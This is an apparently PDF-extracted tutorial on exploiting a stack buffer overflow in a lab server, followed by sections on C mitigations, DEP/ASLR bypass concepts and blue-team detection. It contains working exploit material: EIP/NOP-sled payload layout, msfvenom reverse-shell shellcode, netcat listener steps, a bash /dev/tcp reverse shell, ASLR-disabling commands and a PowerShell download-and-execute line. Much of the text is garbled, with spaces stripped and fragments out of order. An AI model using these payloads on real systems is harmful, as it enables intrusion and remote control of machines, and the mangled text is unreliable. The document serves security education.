eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

